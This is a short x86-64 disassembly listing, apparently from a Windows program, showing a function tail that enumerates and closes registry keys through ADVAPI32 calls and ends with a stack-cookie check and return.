mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x58], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140016ca0
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140016d06
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], rbp
mov rdx, rsi
mov dword [rsp + 0x48], ebp
mov rcx, rdi
call fcn.140015c20
mov ebx, eax
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140016d27
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140032650
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret